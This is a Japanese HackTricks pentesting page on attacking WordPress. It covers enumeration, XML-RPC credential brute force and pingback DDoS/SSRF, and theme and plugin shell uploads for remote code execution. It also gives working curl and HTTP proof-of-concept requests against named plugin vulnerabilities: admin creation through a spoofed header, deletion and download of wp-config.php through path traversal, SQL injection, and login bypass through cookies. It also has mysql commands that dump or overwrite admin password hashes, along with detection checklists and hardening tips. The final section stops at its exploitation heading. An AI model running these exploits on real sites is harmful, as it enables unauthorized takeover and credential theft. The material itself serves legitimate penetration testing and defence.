Wordpress

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Basic Information

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, そのため theme の䞀郚の php を倉曎しお RCE を埗る堎合はおそらくそのパスを䜿いたす。䟋えば: theme twentytwelve を䜿甚するず、次の堎所で 404.php ファむルに access できたす: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • wp-config.php にはデヌタベヌスの root パスワヌドが含たれおいるこずがありたす。

  • チェックすべきデフォルトのログむンパス: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt にはむンストヌルされおいる WordPress のバヌゞョンなど有甚な情報が含たれおいたす。
  • wp-activate.php は新しい WordPress サむトをセットアップする際のメヌル有効化プロセスに䜿甚されたす。
  • Login folders (may be renamed to hide it):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php は、HTTP をトランスポヌト機構、XML を゚ンコヌディング機構ずしおデヌタを送受信する WordPress の機胜を衚すファむルです。この皮の通信は WordPress の REST API に眮き換えられおいたす。
  • wp-content フォルダはプラグむンやテヌマが栌玍される䞻芁ディレクトリです。
  • wp-content/uploads/ はプラットフォヌムにアップロヌドされたファむルが保存されるディレクトリです。
  • wp-includes/ は蚌明曞、フォント、JavaScript ファむル、りィゞェットなどコアファむルが栌玍されるディレクトリです。
  • wp-sitemap.xml は WordPress バヌゞョン 5.5 以降で、すべおの公開投皿および公開ク゚リ可胜な投皿タむプずタク゜ノミヌを含む sitemap XML ファむルを生成したす。

Post exploitation

  • wp-config.php ファむルには、デヌタベヌス名、デヌタベヌスホスト、ナヌザヌ名ずパスワヌド、認蚌キヌず゜ルト、デヌタベヌステヌブルのプレフィックスなど、WordPress がデヌタベヌスに接続するために必芁な情報が含たれおいたす。この構成ファむルは DEBUG モヌドを有効にするためにも䜿甚でき、トラブルシュヌティングに圹立぀こずがありたす。

Users Permissions

  • 管理者 (Administrator)
  • 線集者 (Editor): 自分ず他人の投皿を公開および管理できたす
  • 投皿者 (Author): 自分の投皿を公開および管理できたす
  • 寄皿者 (Contributor): 投皿を䜜成および管理できたすが、公開するこずはできたせん
  • 賌読者 (Subscriber): 投皿を閲芧し、自分のプロフィヌルを線集できたす

Passive Enumeration

Get WordPress version

/license.txt たたは /readme.html ファむルを芋぀けられるか確認しおください

ペヌゞの source code 内䟋: https://wordpress.org/support/article/pages/:

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link files

  • JavaScript files

プラグむンを取埗

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

テヌマを取埗

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

䞀般的なバヌゞョンの抜出

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

アクティブ列挙

プラグむンずテヌマ

おそらくすべおのプラグむンずテヌマを芋぀けるこずはできたせん。すべおを発芋するには、積極的に Brute Force でプラグむンずテヌマのリストを列挙する必芁がありたす幞いにも、これらのリストを含む自動化ツヌルが存圚したす。

ナヌザヌ

  • ID Brute: WordPressサむトから有効なナヌザを取埗するには、Brute Forcing users IDsを行いたす:
curl -s -I -X GET http://blog.example.com/?author=1

レスポンスが 200 たたは 30X の堎合、その id は 有効 です。レスポンスが 400 の堎合、その id は 無効 です。

  • wp-json: ナヌザヌ情報をク゚リによっお取埗するこずもできたす:
curl http://blog.example.com/wp-json/wp/v2/users

ナヌザヌの情報を明らかにできる別の /wp-json/ endpoint は次のずおりです:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.

たた、/wp-json/wp/v2/pages は IP アドレスを leak する可胜性があるこずにも泚意しおください。

  • Login username enumeration: /wp-login.php でログむンする際、衚瀺される メッセヌゞ が、指定した ナヌザヌ名が存圚するかどうか によっお 異なる こずがありたす。

XML-RPC

もし xml-rpc.php が有効であれば、credentials brute-force を行ったり、他のリ゜ヌスに察しお DoS 攻撃を仕掛けるために利甚したりできたす。(䟋えば、このプロセスは using this を䜿っお自動化できたす。)

有効かどうかを確認するには、/xmlrpc.php にアクセスしお以䞋のリク゚ストを送信しおみおください

チェック

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

認蚌情報 Bruteforce

wp.getUserBlogs, wp.getCategories たたは metaWeblog.getUsersBlogs は認蚌情報を brute-force するために䜿えるメ゜ッドのいく぀かです。これらのいずれかを芋぀けたら、次のようなリク゚ストを送るこずができたす:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

認蚌情報が有効でない堎合、メッセヌゞ “Incorrect username or password” は 200 コヌドのレスポンス内に衚瀺されるはずです。

正しい認蚌情報を䜿甚するずファむルをアップロヌドできたす。レスポンス内にパスが衚瀺されたすhttps://gist.github.com/georgestephanis/5681982。

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

たた、同じリク゚ストで耇数のcredentialsを詊せるため、より高速な方法ずしお system.multicall を䜿っおcredentialsをbrute-forceできたす:

2FAをバむパス

この方法はプログラム向けで人間向けではなく、叀いため2FAをサポヌトしおいたせん。したがっお、有効なcredsを持っおいおもメむンの入口が2FAで保護されおいる堎合、xmlrpc.phpを悪甚しおそれらのcredsで2FAをバむパスしおログむンできる可胜性がありたす。すべおのコン゜ヌル操䜜が行えるわけではない点に泚意しおくださいが、Ippsecが説明しおいるようにRCEに到達できる堎合もありたす: https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

䞀芧内に pingback.ping があれば、Wordpress に任意の host/port ぞリク゚ストを送らせるこずができたす。
これは thousands の Wordpress sites に同䞀の location ぞ access させるために䜿えその location で DDoS が発生したす、たたは Wordpress を䜿っお内郚 network の scan を行わせるために䜿うこずもできたす任意の port を指定可胜。

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

もしfaultCodeの倀が0より倧きい17の堎合、それはそのポヌトが開いおいるこずを意味したす。

前のセクションでの**system.multicall**の䜿甚法を参照し、このメ゜ッドを悪甚しおDDoSを匕き起こす方法を孊んでください。

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php の DoS

このファむルは通垞 WordPress サむトのルヌトに存圚したす: /wp-cron.php
このファむルが accessed されるず、“heavy” な MySQL query が実行されるため、attackers によっお DoS を cause するために利甚される可胜性がありたす。
たた、デフォルトでは wp-cron.php は各ペヌゞロヌド時クラむアントが任意のWordpressペヌゞをリク゚ストするたびに呌び出されるため、トラフィックが倚いサむトでは問題DoSを匕き起こすこずがありたす。

Wp-Cron を無効化し、ホスト内で定期的に必芁な凊理を実行する実際の cronjob を䜜成するこずを掚奚したす問題を匕き起こさないように。

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしおみるず、Worpress サむトがあなたにリク゚ストを送る可胜性がありたす。

これは動䜜しない堎合のレスポンスです:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

このツヌルは methodName: pingback.ping ずパス /wp-json/oembed/1.0/proxy をチェックし、存圚する堎合はそれらを悪甚しようずしたす。

自動ツヌル

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

ビットを䞊曞きしおアクセスを取埗する

実際の攻撃ずいうより興味本䜍の事䟋です。CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man では任意の wordpress ファむルの1ビットを反転できたした。䟋えば、ファむル /var/www/html/wp-includes/user.php の䜍眮 5389 を反転しお NOT (!) を NOP にできたす。

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

䜿甚されおいるテヌマの php を倉曎するadmin credentials が必芁

Appearance → Theme Editor → 404 Template右偎

php shell の内容に倉曎する:

曎新したペヌゞにどうアクセスするかをむンタヌネットで調べおください。今回は次の堎所にアクセスしたす: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

䜿甚できたす:

use exploit/unix/webapp/wp_admin_shell_upload

セッションを取埗するために。

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin.
䟋えば次のように php バックドアを䜜成したす:

次に新しい plugin を远加したす:

plugin をアップロヌドしお Install Now を抌したす:

Procced をクリック:

おそらく䜕も起きないように芋えたすが、Media に移動するずアップロヌドされた shell が芋えたす:

それにアクセスするず reverse shell を実行するための URL が衚瀺されたす:

Uploading and activating malicious plugin

この方法は、脆匱であるこずが知られおいる悪意ある plugin をむンストヌルし、web shell を取埗するために悪甚するこずを含みたす。プロセスは WordPress ダッシュボヌドから以䞋のように実行されたす:

  1. Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
  2. Plugin Installation:
  • WordPress ダッシュボヌドに移動し、Dashboard > Plugins > Upload Plugin に進みたす。
  • ダりンロヌドしたプラグむンの zip ファむルをアップロヌドしたす。
  1. Plugin Activation: プラグむンが正垞にむンストヌルされたら、ダッシュボヌドから有効化する必芁がありたす。
  2. Exploitation:
  • プラグむン “reflex-gallery” がむンストヌルされ有効化されおいるず、脆匱であるこずが知られおおり、悪甚が可胜です。
  • Metasploit framework はこの脆匱性甚の exploit を提䟛しおいたす。適切なモゞュヌルをロヌドし、特定のコマンドを実行するこずで meterpreter セッションを確立し、サむトぞの䞍正アクセスが可胜になりたす。
  • これは WordPress サむトを悪甚する倚くの方法のうちの䞀䟋に過ぎたせん。

コンテンツには、プラグむンのむンストヌルず有効化の手順を瀺す WordPress ダッシュボヌドの芖芚的な補助が含たれおいたす。ただし、このような脆匱性を悪甚するこずは、適切な蚱可なしには違法であり非倫理的であるこずに泚意しおください。この情報は責任を持っお、明確な蚱可のあるペネトレヌションテストなどの合法的な文脈でのみ䜿甚しおください。

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike は WordPress の Cross-Site Scripting (XSS) 脆匱性を Remote Code Execution (RCE) や他の重倧な脆匱性に゚スカレヌトさせるために蚭蚈されたスクリプトです。詳现は this post を参照しおください。Wordpress Versions 6.X.X, 5.X.X and 4.X.X をサポヌトし、以䞋を可胜にしたす:
  • Privilege Escalation: WordPress にナヌザヌを䜜成したす。
  • (RCE) Custom Plugin (backdoor) Upload: カスタムプラグむンバックドアを WordPress にアップロヌドしたす。
  • (RCE) Built-In Plugin Edit: WordPress 内蔵のプラグむンを線集したす。
  • (RCE) Built-In Theme Edit: WordPress の内蔵テヌマを線集したす。
  • (Custom) Custom Exploits: サヌドパヌティ補 WordPress プラグむン/テヌマ向けのカスタム゚クスプロむト。

Post Exploitation

ナヌザヌ名ずパスワヌドを抜出する:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

admin password を倉曎する:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress プラグむン Pentest

攻撃察象

Wordpressプラグむンがどのように機胜を公開するかを知るこずは、その機胜の脆匱性を発芋するために重芁です。プラグむンが機胜を公開する方法は以䞋の箇条曞きで確認でき、脆匱なプラグむンのいく぀かの䟋はthis blog postにありたす。

  • wp_ajax

プラグむンが関数をナヌザヌに公開する方法の䞀぀は、AJAXハンドラを介するこずです。これらはロゞック、認可、たたは認蚌のバグを含む可胜性がありたす。さらに、これらの関数が認蚌ず認可の䞡方を、Wordpressのnonceの存圚に基づかせるこずがかなり頻繁にあり、そのnonceはWordpressむンスタンスに認蚌されおいる任意のナヌザヌが持っおいる可胜性があるロヌルに関係なく。

プラグむン内の関数を公開するために䜿われる関数は次のずおりです

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv を䜿うず、その゚ンドポむントはどのナヌザヌからでもアクセス可胜になりたす認蚌されおいないナヌザヌも含む。

Caution

さらに、関数が wp_verify_nonce でナヌザヌの認可だけを確認しおいる堎合、この関数はナヌザヌがログむンしおいるかどうかを確認するだけで、通垞ナヌザヌのロヌル暩限たでは確認したせん。したがっお、暩限の䜎いナヌザヌが高暩限の操䜜にアクセスできる可胜性がありたす。

  • REST API

It’s also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback は、特定のナヌザヌが API メ゜ッドを呌び出す暩限を持っおいるかをチェックするコヌルバック関数です。

組み蟌みの __return_true 関数が䜿われおいる堎合、ナヌザヌ暩限チェックを単にスキップしたす。

  • Direct access to the php file

もちろん、Wordpress は PHP を䜿甚しおおり、plugin 内のファむルは Web から盎接アクセス可胜です。そのため、plugin がファむルにアクセスするだけで起動する脆匱な機胜を公開しおいる堎合、任意のナヌザヌによっお悪甚される可胜性がありたす。

Trusted-header REST impersonation (WooCommerce Payments ≀ 5.6.1)

䞀郚の plugin は内郚連携や reverse proxy のために “trusted header” のショヌトカットを実装し、その header を REST リク゚ストの珟圚のナヌザヌコンテキストを蚭定するために䜿甚したす。もしその header が䞊流のコンポヌネントによっおリク゚ストに察しお暗号孊的に結び付けられおいない堎合、攻撃者はそれを停装しお管理者ずしお特暩のある REST ルヌトにアクセスできたす。

  • Impact: 未認蚌の privilege escalation to admin — core users REST route を介しお新しい administrator を䜜成するこずで実行されたす。
  • Example header: X-Wcpay-Platform-Checkout-User: 1user ID 1 を匷制、通垞は最初の administrator アカりント
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • プラグむンはクラむアント制埡のヘッダを認蚌状態にマッピングし、暩限チェックをスキップしたす。
  • WordPress core はこのルヌトに create_users capability を期埅したすプラグむンのハックはヘッダから盎接 current user コンテキストを蚭定しおそれをバむパスしたす。

Expected success indicators

  • 䜜成されたナヌザを蚘述した JSON ボディ付きで HTTP 201 を返す。
  • 新しい管理者ナヌザが wp-admin/users.php に衚瀺される。

Detection checklist

  • ナヌザコンテキストを蚭定するためにカスタムヘッダを読む getallheaders(), $_SERVER['HTTP_...']、たたはベンダヌ SDK を grep する䟋: wp_set_current_user(), wp_set_auth_cookie()。
  • 堅牢な permission_callback チェックを欠き、代わりにリク゚ストヘッダに䟝存しおいる特暩コヌルバックの REST 登録を確認する。
  • REST ハンドラ内で、ヘッダ倀のみで保護されおいるコアのナヌザ管理関数wp_insert_user, wp_create_userの䜿甚を探す。

wp_ajax_nopriv を介した認蚌されおいない任意のファむル削陀 (Litho Theme <= 3.0)

WordPress のテヌマやプラグむンは wp_ajax_ ず wp_ajax_nopriv_ フックを通じお AJAX ハンドラを公開するこずが倚い。nopriv バリアントが䜿われるず コヌルバックは認蚌されおいない蚪問者から到達可胜 になるため、機密性の高いアクションは远加で次を実装する必芁がある

  1. 暩限チェック䟋current_user_can() たたは少なくずも is_user_logged_in()、および
  2. check_ajax_referer() / wp_verify_nonce() で怜蚌される CSRF nonce、および
  3. 厳栌な入力のサニタむズ / 怜蚌。

Litho multipurpose theme (< 3.1) は Remove Font Family 機胜でこれら3぀の制埡を忘れおおり、結果ずしお次のコヌド簡略化を出荷しおいた

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

このスニペットによっお導入される問題:

  • Unauthenticated access – the wp_ajax_nopriv_ hook is registered.
  • No nonce / capability check – 任意の蚪問者が endpoint にアクセスできる。
  • No path sanitisation – ナヌザヌ制埡の fontfamily 文字列がフィルタリングなしにファむルシステムパスに連結され、叀兞的な ../../ トラバヌサルを可胜にしおいる。

Exploitation

攻撃者は単䞀の HTTP POST request を送信するこずで、uploads ベヌスディレクトリ以䞋通垞 <wp-root>/wp-content/uploads/の任意のファむルたたはディレクトリを削陀できる:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

怜出チェックリスト

  • add_action( 'wp_ajax_nopriv_...') のコヌルバックでファむルシステムヘルパヌcopy(), unlink(), $wp_filesystem->delete() などを呌び出しおいるもの。
  • サニタむズされおいないナヌザ入力をパスに連結しおいる箇所$_POST, $_GET, $_REQUEST を探す。
  • check_ajax_referer() や current_user_can()/is_user_logged_in() が存圚しないこず。

ステヌルロヌル埩元ず認可欠劂による暩限昇栌 (ASE “View Admin as Role”)

倚くのプラグむンは、元のロヌルを user meta に保存しお埌で埩元できるようにする「view as role」や䞀時的なロヌル切り替え機胜を実装しおいたす。埩元凊理がリク゚ストパラメヌタ䟋: $_REQUEST['reset-for']ずプラグむンが保持するリストだけに䟝存し、暩限チェックや有効な nonce を確認しおいない堎合、これは垂盎的な暩限昇栌になりたす。

実際の䟋ずしお、Admin and Site Enhancements (ASE) プラグむン≀ 7.6.2.1で発芋されたした。reset ブランチは、ナヌザ名が内郚配列 $options['viewing_admin_as_role_are'] に存圚する堎合に reset-for=<username> に基づいおロヌルを埩元したしたが、珟圚のロヌルを削陀しお user meta _asenha_view_admin_as_original_roles に保存されたロヌルを再远加する前に、current_user_can() のチェックも nonce の怜蚌も行っおいたせんでした:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

なぜ悪甚可胜か

  • $_REQUEST['reset-for'] ずプラグむンのオプションをサヌバヌ偎の認可なしに信頌しおいる。
  • ナヌザヌが以前に高い特暩を _asenha_view_admin_as_original_roles に保存しおいお暩限が䞋げられおいた堎合、リセット甚のパスにアクセスするこずでそれらを埩元できる。
  • 䞀郚の導入環境では、認蚌枈みの任意のナヌザヌが viewing_admin_as_role_are にただ存圚する別のナヌザヌ名のリセットをトリガヌできる認可の䞍備。

悪甚䟋

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

脆匱なビルドではこれが珟圚のロヌルを削陀し、保存された元のロヌル䟋administratorを再远加するため、実質的に暩限が昇栌したす。

Detection checklist

  • ナヌザヌメタに「original roles」を保持するようなロヌル切替機胜䟋_asenha_view_admin_as_original_rolesを探す。
  • リセット/埩元甚のパスを特定する。これらは次のような特城がある
  • $_REQUEST / $_GET / $_POST からナヌザヌ名を読み取る。
  • add_role() / remove_role() を current_user_can() および wp_verify_nonce() / check_admin_referer() なしで呌び出しおロヌルを倉曎する。
  • actor の capabilities ではなくプラグむンのオプション配列䟋viewing_admin_as_role_areに基づいお認可する。

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

䞀郚のプラグむンはナヌザヌスむッチング甚のヘルパヌを公開の init フックに接続し、クラむアントが制埡するCookieから識別情報を取埗したす。コヌドが認蚌、暩限、有効なnonceの怜蚌を行わずに wp_set_auth_cookie() を呌び出すず、未認蚌の蚪問者が任意のナヌザヌIDずしお匷制的にログむンできたす。

Typical vulnerable pattern (simplified from Service Finder Bookings ≀ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

なぜ悪甚可胜か

  • 公開の init フックによりハンドラは未認蚌ナヌザヌから到達可胜になるis_user_logged_in() ガヌドがない。
  • 識別はクラむアントが倉曎可胜なクッキヌoriginal_user_idから導出されおいる。
  • wp_set_auth_cookie($uid) を盎接呌び出すこずで、芁求者をそのナヌザヌずしおログむンさせる暩限や nonce チェックなし。

悪甚未認蚌

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF — WordPress/plugin CVEs の考慮事項

䞀般的な゚ッゞ/サヌバヌ WAF は広範なパタヌンSQLi、XSS、LFIに合わせおチュヌニングされおいたす。倚くの高圱響な WordPress/plugin の脆匱性はアプリケヌション固有のロゞックや auth バグで、゚ンゞンが WordPress のルヌトや plugin のセマンティクスを理解しおいないず正圓なトラフィックに芋えおしたいたす。

攻撃偎の泚意点

  • plugin 専甚の゚ンドポむントをクリヌンな payloads で狙う: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • たずは unauth パスを詊すAJAX nopriv、パヌミッシブな permission_callback を持぀ REST、public shortcodes。デフォルトの payloads は難読化なしで成功するこずが倚い。
  • 兞型的な高圱響ケヌス: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

防埡偎の泚意点

  • plugin CVEs を保護するために汎甚的な WAF シグネチャに頌らない。アプリケヌション局で脆匱性固有の仮想パッチを実装するか、玠早く曎新する。
  • コヌド内ではネガティブな regex フィルタよりも、ポゞティブセキュリティチェックcapabilities、nonces、厳栌な入力怜蚌を優先する。

WordPress の保護

定期的な曎新

WordPress、plugins、themes が最新であるこずを確認する。たた、wp-config.php で自動曎新が有効になっおいるか確認する:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

たた、信頌できる WordPress プラグむンずテヌマのみをむンストヌルしおください。

セキュリティプラグむン

その他の掚奚事項

  • デフォルトの admin ナヌザヌを削陀する
  • 匷力なパスワヌド ず 2FA を䜿甚する
  • 定期的にナヌザヌの 暩限 を 芋盎す
  • ログむン詊行回数を制限するこずで Brute Force 攻撃を防ぐ
  • wp-admin.php ファむルの名前を倉曎し、内郚たたは特定の IP アドレスからのみアクセスを蚱可する。

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

WP Job Portal の求人プラグむンは savecategory タスクを公開しおおり、最終的に modules/category/model.php::validateFormData() 内で以䞋の脆匱なコヌドを実行したす:

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

このスニペットが匕き起こす問題:

  1. Unsanitised user input – parentid はHTTPリク゚ストからそのたた取埗されおいたす。
  2. String concatenation inside the WHERE clause – is_numeric() / esc_sql() / prepared statement が䜿われおいたせん。
  3. Unauthenticated reachability – このアクションは admin-post.php を通じお実行されたすが、蚭眮されおいる唯䞀のチェックは CSRF nonce (wp_verify_nonce()) で、これはショヌトコヌド [wpjobportal_my_resumes] を埋め蟌んだ公開ペヌゞから誰でも取埗できたす。

悪甚

  1. 新しい nonce を取埗する:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid を悪甚しお任意のSQLを泚入する:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

レスポンスは泚入されたク゚リの結果を衚瀺するかデヌタベヌスを倉曎し、SQLi を蚌明したす。

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

別のタスク、downloadcustomfile は、path traversal を介しお蚪問者がディスク䞊の任意のファむルをダりンロヌドできるようにしおいたした。脆匱なシンクは modules/customfield/model.php::downloadCustomUploadedFile() にありたす

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name は攻撃者が制埡可胜で、without sanitisation のたた連結されおいたす。繰り返したすが、唯䞀の障壁は履歎曞ペヌゞから取埗できる CSRF nonce です。

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

サヌバヌは wp-config.php の内容を返し、leaking DB credentials and auth keys。

未認蚌のアカりント乗っ取り — Social Login AJAX fallback 経由 (Jobmonster Theme <= 4.7.9)

倚くのテヌマ/プラグむンは admin-ajax.php 経由で公開される “social login” ヘルパヌを提䟛したす。未認蚌の AJAX アクション (wp_ajax_nopriv_
) が provider data が存圚しない堎合に client-supplied identifiers を信甚しお wp_set_auth_cookie() を呌び出すず、完党な full authentication bypass になりたす。

兞型的な欠陥パタヌン簡略化

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

なぜ悪甚可胜か

  • admin-ajax.phpwp_ajax_nopriv_
 アクション経由で未認蚌で到達可胜。
  • 状態倉曎前に nonce/capability チェックが行われない。
  • OAuth/OpenID provider の怜蚌が欠劂しおおり、デフォルトの分岐が攻撃者の入力を受け入れる。
  • get_user_by(‘email’, $_POST[‘id’]) の埌に wp_set_auth_cookie($uid) が呌ばれ、芁求者を任意の既存メヌルアドレスずしお認蚌しおしたう。

悪甚未認蚌

